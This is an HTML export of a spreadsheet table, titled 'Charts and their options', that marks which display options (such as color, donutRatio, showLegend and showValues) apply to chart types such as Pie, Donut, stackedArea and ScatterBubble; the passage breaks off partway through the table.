<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=windows-1252">
<TITLE></TITLE>
<META NAME="GENERATOR" CONTENT="OpenOffice 4.0.0 (Win32)">
<META NAME="AUTHOR" CONTENT="Jouni Santara">
<META NAME="CREATED" CONTENT="20140315;10351377">
<META NAME="CHANGEDBY" CONTENT="Jouni Santara">
<META NAME="CHANGED" CONTENT="20140321;11410882">
<STYLE>
<!--
BODY,DIV,TABLE,THEAD,TBODY,TFOOT,TR,TH,TD,P { font-family:"Arial"; font-size:x-small }
-->
</STYLE>
</HEAD>
<BODY TEXT="#000000">
<TABLE FRAME=VOID CELLSPACING=0 COLS=13 RULES=NONE BORDER=0>
<COLGROUP><COL WIDTH=125><COL WIDTH=82><COL WIDTH=121><COL WIDTH=100><COL WIDTH=86><COL WIDTH=129><COL WIDTH=51><COL WIDTH=52><COL WIDTH=55><COL WIDTH=104><COL WIDTH=67><COL WIDTH=80><COL WIDTH=86></COLGROUP>
<TBODY>
<TR>
<TD WIDTH=125 HEIGHT=24 ALIGN=LEFT><BR></TD>
<TD WIDTH=82 ALIGN=CENTER><BR></TD>
<TD WIDTH=121 ALIGN=CENTER><BR></TD>
<TD WIDTH=100 ALIGN=LEFT><U><FONT SIZE=4>Charts and their options</FONT></U></TD>
<TD WIDTH=86 ALIGN=CENTER><BR></TD>
<TD WIDTH=129 ALIGN=CENTER><BR></TD>
<TD WIDTH=51 ALIGN=CENTER><BR></TD>
<TD WIDTH=52 ALIGN=CENTER><BR></TD>
<TD WIDTH=55 ALIGN=CENTER><BR></TD>
<TD WIDTH=104 ALIGN=LEFT><BR></TD>
<TD WIDTH=67 ALIGN=LEFT><BR></TD>
<TD WIDTH=80 ALIGN=LEFT><BR></TD>
<TD WIDTH=86 ALIGN=LEFT><BR></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=LEFT><BR></TD>
<TD ALIGN=LEFT><BR></TD>
<TD ALIGN=LEFT><BR></TD>
<TD ALIGN=LEFT><BR></TD>
</TR>
<TR>
<TD HEIGHT=24 ALIGN=LEFT><B><FONT SIZE=4><BR></FONT></B></TD>
<TD ALIGN=LEFT>The following options (at least) are available from the different chart's types.</TD>
<TD ALIGN=LEFT><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=LEFT><BR></TD>
<TD ALIGN=LEFT><BR></TD>
<TD ALIGN=LEFT><BR></TD>
<TD ALIGN=LEFT><BR></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=CENTER><BR></TD>
<TD ALIGN=LEFT><BR></TD>
<TD ALIGN=LEFT><BR></TD>
<TD ALIGN=LEFT><BR></TD>
<TD ALIGN=LEFT><BR></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><BR></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000" ALIGN=LEFT><B><FONT COLOR="#808080">Chart Type</FONT></B></TD>
<TD STYLE="border-top: 1px solid #000000" ALIGN=CENTER><FONT COLOR="#808080"><BR></FONT></TD>
<TD STYLE="border-top: 1px solid #000000" ALIGN=CENTER><FONT COLOR="#808080"><BR></FONT></TD>
<TD STYLE="border-top: 1px solid #000000" ALIGN=CENTER><FONT COLOR="#808080"><BR></FONT></TD>
<TD STYLE="border-top: 1px solid #000000" ALIGN=CENTER><FONT COLOR="#808080"><BR></FONT></TD>
<TD STYLE="border-top: 1px solid #000000" ALIGN=CENTER><FONT COLOR="#808080"><BR></FONT></TD>
<TD STYLE="border-top: 1px solid #000000" ALIGN=CENTER><FONT COLOR="#808080"><BR></FONT></TD>
<TD STYLE="border-top: 1px solid #000000" ALIGN=CENTER><FONT COLOR="#808080"><BR></FONT></TD>
<TD STYLE="border-top: 1px solid #000000" ALIGN=LEFT><BR></TD>
<TD STYLE="border-top: 1px solid #000000" ALIGN=LEFT><BR></TD>
<TD STYLE="border-top: 1px solid #000000" ALIGN=LEFT><BR></TD>
<TD STYLE="border-top: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT><BR></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><B><FONT COLOR="#808080">Option</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1 COLOR="#000000">linePlusBar</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1 COLOR="#000000">cumulativeLineData</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1 COLOR="#000000">stackedArea</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1 COLOR="#000000">discreteBar</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1 COLOR="#000000">horizontalMultiBar</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1 COLOR="#000000">Pie</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1 COLOR="#000000">Donut</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1 COLOR="#000000">Bullet</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1>ScatterBubble</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1>MultiBar</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1>viewFinder</FONT></B></TD>
<TD STYLE="border-bottom: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><FONT SIZE=1>simpleLine</FONT></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">clipEdge</FONT></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">color</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">donut</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">donutRatio</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">groupSpacing</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">labelThreshold</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">labelType</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">reduceXTicks</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">rightAlignYAxis</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">rotateLabels</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">showControls</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">showDistX</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">showDistY</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><BR></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">showLabels</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">showLegend</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
</TR>
<TR>
<TD HEIGHT=17 ALIGN=LEFT><FONT SIZE=1 COLOR="#999999">showValues</FONT></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B>X</B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
<TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=CENTER><B><BR></B></TD>
